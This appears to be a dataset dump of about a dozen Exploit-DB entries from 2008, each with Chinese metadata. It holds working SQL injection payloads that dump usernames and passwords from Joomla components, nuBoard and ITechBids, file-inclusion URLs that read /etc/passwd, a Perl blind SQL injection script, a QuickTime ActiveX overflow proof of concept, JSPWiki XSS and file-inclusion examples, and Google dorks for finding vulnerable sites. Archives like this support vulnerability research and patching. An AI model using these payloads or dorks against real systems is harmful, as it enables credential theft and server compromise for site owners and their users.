QLWD/code_shield huggingface dataset:
标题: LookStrike Lan Manager 0.9 - Local/Remote File Inclusion EDB-ID: 5121 CVE: 2008-0803 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: --==+================================================================================+==--
--==+  LookStrike Lan Manager v0.9 Remote\Local File Inclusion              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: LookStrike Lan Manager v0.9 Remote\Local File Inclusion 
 Download: http://sourceforge.net/project/showfiles.php?group_id=152660
 Bug: Remote\Local File Inclusion
 Info: LookStrike is a tool written in PHP that manages Lan Party to gain a lot of time about the management of your Lan. You can also gather statistics of your players. LookStrike generate graphics and matches for tournaments automatically.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

LookStrike Lan Manager v0.9 present a remote\local file inclusion vulnerability in this file.. 

modules\class\Table.php
modules\class\db\db_admins.php
modules\class\db\db_alert.php
modules\class\db\db_double.php
modules\class\db\db_games.php
modules\class\db\db_matches.php
modules\class\db\db_match_teams.php
modules\class\db\db_news.php
modules\class\db\db_platform.php
modules\class\db\db_players.php
modules\class\db\db_server_group.php
modules\class\db\db_server_ip.php
modules\class\db\db_teams.php
modules\class\db\db_team_players.php
modules\class\db\db_tournaments.php
modules\class\db\db_tournament_teams.php
modules\class\db\db_trees.php
modules\class\tournament\Match.php
modules\class\tournament\MatchTeam.php
modules\class\tournament\Rule.php
modules\class\tournament\RuleBuilder.php
modules\class\tournament\RulePool.php
modules\class\tournament\RuleSingle.php
modules\class\tournament\RuleTree.php
modules\class\tournament\Tournament.php
modules\class\tournament\TournamentTeam.php
modules\class\tournament\Tree.php
modules\class\tournament\TreeSingle.php

all are exploitable by the variable "sys_conf[path][real]" for example

http://www.example.com/modules/class/Table.php?sys_conf[path][real]=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5121
标题: Joomla! Component paxxgallery 0.2 - 'iid' SQL Injection EDB-ID: 5117 CVE: 2008-0801 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: ###############################################################
#
# joomla SQL Injection(com_paxxgallery)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
# http://www.hackturkiye.com
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_paxxgallery "iid"
#
# DORK 2 : allinurl: com_paxxgallery "userid"
#
################################################################
EXPLOIT :

AFTER userid ADD EXPLÄ°OT(USERÄ°D DEN SONRA EXPLOÄ°T EKLE)

EXAMPLE=http:XXXXXX/index.php?option=com_paxxgallery&Itemid=85&gid=7&userid= EXPLOÄ°T

EXPLOIT==

S@BUN&task=view&iid=-3333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2Cconcat(username,0x3a,password)%2F%2A%2A%2Ffrom%2F%2A%2A%2Fjos_users


################################################################
# S@BUN                i AM NOT HACKER           S@BUN
################################################################

 <name>paxxgallery</name>
 <author>Tobias Floery</author>
 <copyright>(c) Tobias Floery</copyright>
 <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
 <authorEmail>tobias@floery.net</authorEmail>

 <authorUrl>www.floery.net</authorUrl>
 <version>0.2</version>
 <creationDate>07.01.2006</creationDate>
 <description>
  <![CDATA[
  <h1>The PHP AjaX Gallery</h1>
  PAXXGallery is a PHP and JS Gallery Component for Joomla using AJAX Technology. 
  The component is designed to work even with Safe- Mode: ON! servers and a FTP Upload is integrated.
  ]]>
 </description>

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5117
标题: artmedic weblog 1.0 - Multiple Local File Inclusions EDB-ID: 5116 CVE: 2008-0798 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: artmedic weblog multiple local file inclusion vulnerabilities 

download   http://artmedic-phpscripts.de/index.php?did=artmedic_weblog.zip

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits   
http://localhost/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://localhost/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5116
标题: Joomla! Component MCQuiz 0.9 Final - 'tid' SQL Injection EDB-ID: 5118 CVE: 2008-0800 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: ###############################################################
#
# joomla SQL Injection(com_mcquiz)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_mcquiz "tid"
#
# DORK 2 : allinurl: com_mcquiz
#
################################################################

ATTACKER CAN SEE PASSWORD AND USERNAME UNDER PAGE

EXAMPLE=www.xxxxx.com/index.php?option=com_mcquiz&task=user_tst_shw&Itemid=xxx&tid= [EXPLOÄ°T]

EXPLOIT=1=

1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),0x3a/**/from/**/jos_users/*

EXPLOÄ°T=2=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

################################################################
# S@BUN               i AM NOT HACKER                     S@BUN
################################################################

 <name>paxxgallery</name>
 <author>Tobias Floery</author>
 <copyright>(c) Tobias Floery</copyright>
 <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
 <authorEmail>tobias@floery.net</authorEmail>

 <authorUrl>www.floery.net</authorUrl>
 <version>0.2</version>
 <creationDate>07.01.2006</creationDate>
 <description>
  <![CDATA[
  <h1>The PHP AjaX Gallery</h1>
  PAXXGallery is a PHP and JS Gallery Component for Joomla using AJAX Technology. 
  The component is designed to work even with Safe- Mode: ON! servers and a FTP Upload is integrated.
  ]]>
 </description>

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5118
标题: QuickTime 7.4.1 - 'QTPlugin.ocx' Multiple Stack Overflow Vulnerabilities EDB-ID: 5110 CVE: 2008-0778 类型: DOS 平台: WINDOWS 发布日期: 2008-02-13 漏洞利用脚本: Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========

1) Introduction

===========

A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/

======

2) Bug

======

Stack Overflow/Denial of service occurs when supplying a long string to theses functions:

-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix

=====

3)Proof of concept

=====

Proof of concept example [works with the others functions supplyed in section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>

=====

5)Credits

=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-02-13] URL: https://www.exploit-db.com/exploits/5110
标题: Joomla! Component mediaslide - 'albumnum' Blind SQL Injection EDB-ID: 5120 CVE: 2008-0802 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: #!/usr/bin/perl
#inphex
#joomla com_mediaslide blind sql injection
use LWP::UserAgent;
use LWP::Simple;
use Switch;
use Digest::MD5 qw(md5 md5_hex md5_base64);
print "usage: $0 -h host.com -p /\n";
### use Getopt::Long; ###
$column = "username";
$table = "jos_users";
$regex = "preview_f2";
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-r" => "regex");
$a = 0;
foreach  (@ARGV) {
 $a++;
 while (($k, $v) = each(%cm_n_)) {
  if ($_ eq $k) {
   ${$v} = $ARGV[$a];
  }
 }
}

$i = 48;
$h = 1;
$f = 0;
$k = 0;
### Yeah,that's it... ###
while () {
    while ($i <= 90) {
  
     if(check($i,$h,1) == 1)
     {
      syswrite STDOUT,lc(chr($i));
      $h++;
   $a_chr = $a_chr.chr($i);
     } 
  
  $i++;
  
 } 
 push(@ffs,length($a_chr)); 
 if (($#ffs -1) == $ffs) {
  &check_vuln();
  exit;
 }
 $i = 48;
 
}
#/

### :D ###
sub check($$$)
{
 $i = shift;
 $h = shift;
 $m = shift;

 switch ($m)
 {
  case 1 { $query = "%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$h.",1)=CHAR(".$i.")"; }
 }

 $ua = LWP::UserAgent->new;
 $url = "http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1".$query."";
 $response = $ua->get($url);
 $content = $response->content;
 if($content =~ /$regex/) { return 0;} else { return 1 ;}
}
#/

sub check_vuln
{
 

 $content = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=1");
 $content1 = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=0");

 foreach $bb1 (split(/\n/,$content)) {
  $bb = $bb.$bb1;
 }

 foreach  $yy1 (split(/\n/,$content1)) {
  $yy = $yy.$yy1;
 }

 $f =  md5_hex($bb);
 $s = md5_hex($yy);

 if ($f eq $s) {
  print "\nprobably not vulnerable";    #could be that ads,texts etc.. change
  exit;
 } else { print "\nvulnerable..."; }
}

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5120
标题: jspwiki 2.4.104/2.5.139 - Multiple Vulnerabilities EDB-ID: 5112 CVE: 2008-1231 2008-1230 2008-1229 类型: WEBAPPS 平台: JSP 发布日期: 2008-02-13 漏洞利用脚本: JSPWiki Multiple Vulnerabilities


Vendor:
Janne Jalkanen JSPWiki â€“ http://www.jspwiki.org

Application Description:
From JSPWiki website - â€œJSPWiki is a feature-rich and extensible WikiWiki engine built around a standart J2EE components (Java, servlets, JSP).â€

Tested versions:
JSPWiki v2.4.104
JSPWiki v2.5.139
Earlier versions may also be affected.

JSPWiki Local .jsp File Inclusion Vulnerability.
An input validation problem exists within JSPWiki which allows to execute (include) arbitrary local .jsp files. An attacker may leverage this issue to execute arbitrary server-side script code on a vulnerable server with the privileges of the web server process.

Example (including rss.jsp file from the application root directory):
http://server/JSPWikiPath/Edit.jsp?page=Main&editor=../../../rss

Note: page parameter must be an existing page on the server.

This grants an attacker unauthorized access to sensitive .jsp files on the server and can lead to information disclosure.

Examples:
http://server/JSPWikiPath/Edit.jsp?page=User&editor=../../../Install
http://server/JSPWikiPath/Edit.jsp?page=User&editor=../../../admin/SecurityConfig

The first example disclose sensitive information such as the full path of the application on the server, page (and attachments) storage path, log files and work directory by including the application installation (Install.jsp).
The second example disclose the application security configurations by including the JSPWiki Security Configuration Verifier file (admin/SecurityConfig.jsp).

In addition, JSPWiki allow users to upload (attach) files to entry pages. An attacker can use the information disclosed by the installation file to upload a malicious .jsp file and locally execute it.
By executing malicious server-side code, an attacker may be able to compromise the server.


JSPWiki Cross-Site Scripting Vulnerability.
An attacker may leverage cross-site scripting vulnerability to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Example:
http://server/JSPWikiPath/Edit.jsp?page=Main&editor=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Original Document:
http://www.bugsec.com/articles.php?Security=48&Web-Application-Firewall=0

Download PDF:
http://www.bugsec.com/up_files/JSPWiki_Multiple_Vulnerabilities.pdf

Credit:
Moshe BA
BugSec LTD. - Security Consulting Company
Tel: +972-3-9622655
Fax: +972-3-9511433
Email: Info -at- BugSec -d0t- com
http://www.bugsec.com 

# milw0rm.com [2008-02-13] URL: https://www.exploit-db.com/exploits/5112
标题: nuBoard 0.5 - 'ssid' SQL Injection EDB-ID: 5115 CVE: 2008-0796 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: #####################################################################################
####                Nuboard_v0.5 SQL Injection Vulnerability                     ####
####                               By IRCRASH                                    ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH                                                                   #
#Discovered by : Dr.Crash                                                           #
#Exploited By : Dr.Crash                                                            #
#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Script Download : http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboard_v0.5.tar.gz
#                                                                                   #
#####################################################################################
#                                   < SQL >                                         #
#SQL Address : http://Target/threads.php?ssid=9999%27union/**/select/**/CoNcAt(0x4c6f67696e3a,nick,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e)/***/from/**/nu_users/**/where/**/id=1/*
#                                                                                   #
#####################################################################################
#                         Our site : Http://IRCRASH.COM                             #
#####################################################################################

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5115
标题: Joomla! Component xfaq 1.2 - 'aid' SQL Injection EDB-ID: 5109 CVE: 2008-0795 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-13 漏洞利用脚本: ###############################################################
#
#  joomla SQL Injection(com_xfaq)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
# www.milw0rm.com@gmail.com
#
################################################################
#
# DORK 1 : allinurl: aid "com_xfaq"
#
# DORK 2 : allinurl: "com_xfaq"
#
################################################################
EXPLOIT :

index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=-9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0x3a,password,0x3a,username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/from/**/jos_users/*

################################################################
# S@BUN              i AM NOT HACKER                  S@BUN
################################################################

<mosinstall type="component" version="4.5.2">
  <name>xfaq</name>
  <creationDate>2005.11.03</creationDate>
  <author>mic / mgfi</author>
  <copyright>mgfi.info</copyright>
  <license>Released under the GNU/GPL License</license>

  <authorEmail>info@mgfi.info</authorEmail>
  <authorUrl>www.mgfi.info</authorUrl>
  <version>1.2</version>
  <description>XfaQ is an addon for Joomla 1.x and Mambo 4.5.x. Based on SimpleFAQ 2.0.1 from www.parkviewconsultants.com</description>

# milw0rm.com [2008-02-13] URL: https://www.exploit-db.com/exploits/5109
标题: Affiliate Market 0.1 Beta - 'Language' Local File Inclusion EDB-ID: 5108 CVE: 2008-0794 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-13 漏洞利用脚本: Affiliate Market Ver.0.1 BETA (language) Local File Include Vulnerability
http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
/user/header.php?language=../../../../../../../../../../../etc/passwd
I'm tryagi ..^|-

# milw0rm.com [2008-02-13] URL: https://www.exploit-db.com/exploits/5108
标题: Joomla! Component Quiz 0.81 - 'tid' SQL Injection EDB-ID: 5119 CVE: 2008-0799 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-14 漏洞利用脚本: ###############################################################
#
# joomla SQL Injection(com_quiz)user_tst_shw
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_quiz"tid"
#
# DORK 2 : allinurl: com_quiz
#
################################################################
EXPLOIT :

ALL PASSWORD AND USERNAME UNDER PAGE

EXAMPLE: AFTER tid add EXPLOÄ°TS

www.xxxxxxxx.com/index.php?option=com_quiz&task=user_tst_shw&Itemid=xxx&tid= [EXPLOÄ°T]

EXPLOIT=1=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOÄ°T=2=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*


################################################################
# S@BUN                   i AM NOT HACKER                 S@BUN
################################################################

  <name>Quiz</name>
  <creationDate>25.10.2005</creationDate>
 <author>Ioannis Sannos</author>
 <copyright>Ioannis Sannos</copyright>
  <authorEmail>blackgate@datahellas.com</authorEmail>

 <authorUrl>http://www.datahellas.com</authorUrl>
  <version>0.81</version>
  <description>Komponent Quiz dla  Joomla. UmoÅ¼liwia tworzenie w kilku krokach testÃ³w/quizÃ³w oraz zarzÄ…dzanie nimi. Autor: Ioannis Sannos (DataHellas). Polska adaptacja i AdminLanguage: zwiastun@zwiastun.net</description>

# milw0rm.com [2008-02-14] URL: https://www.exploit-db.com/exploits/5119
标题: Joomla! Component pcchess 0.8 - SQL Injection EDB-ID: 5104 CVE: 2008-0761 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_pcchess)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl: com_pcchess "user_id"
#
# DORK 2 : allinurl: com_pcchess
#
#########################################################################
EXPLOIT :

index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

#########################################################################
# S@BUN    i AM NOT HACKER    S@BUN
#########################################################################

<mosinstall type="component">
 <name>pcchess</name>
 <creationDate>08/20/2005</creationDate>
 <author>Robert Prince</author>
 <copyright>This component copyright Robert J. Prince, released under the GNU/GPL License</copyright>
 <authorEmail>rob@princeclan.org</authorEmail>

 <authorUrl>www.princeclan.org</authorUrl>
 <version>0.8</version>

# milw0rm.com [2008-02-12] URL: https://www.exploit-db.com/exploits/5104
标题: Joomla! Component Rapid Recipe 1.6.5 - SQL Injection EDB-ID: 5103 CVE: 2008-0831 2008-0754 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-12 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_rapidrecipe)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl: "com_rapidrecipe"user_id
#
# DORK 2 : allinurl: "com_rapidrecipe" category_id
#
#########################################################################
EXPLOIT :

after user_id or catogry_id add exploit

-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

#########################################################################
# S@BUN           i AM NOT HACKER              S@BUN
#########################################################################

<mosinstall type="component">
 <name>rapidrecipe</name>
 <creationDate>30/7/2007</creationDate>
 <author>Konstantinos Kokkorogiannis</author>
 <copyright>This component in released under the Chefs and Koyans License. You should not use it unless you have bought it.</copyright>
 <authorEmail>koyan@dianthos.net</authorEmail>

 <authorUrl>www.dianthos.net</authorUrl>
 <version>1.6.5</version>

# milw0rm.com [2008-02-12] URL: https://www.exploit-db.com/exploits/5103
标题: ITechBids 6.0 - 'item_id' SQL Injection EDB-ID: 5096 CVE: 2008-0776 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-10 漏洞利用脚本: ############################################################################
# ITechBids v.6.0 Gold Edition Sql Injection Exploit                       #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Script Site: http://itechscripts.com/                                    #
#                                                                          #
# Price:$125.00                                                            #
#                                                                          #
#                                                                          #
############################################################################
# Exploit in:                                                              #
# detail.php?item_id==(SQL)                                                #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=-1%20union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from%20admin/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,TrYaG Team,Iraqi-KoRn     #
# Mini.Spider,and All 7shasha Boards Members!                              #
############################################################################

# milw0rm.com [2008-02-10] URL: https://www.exploit-db.com/exploits/5096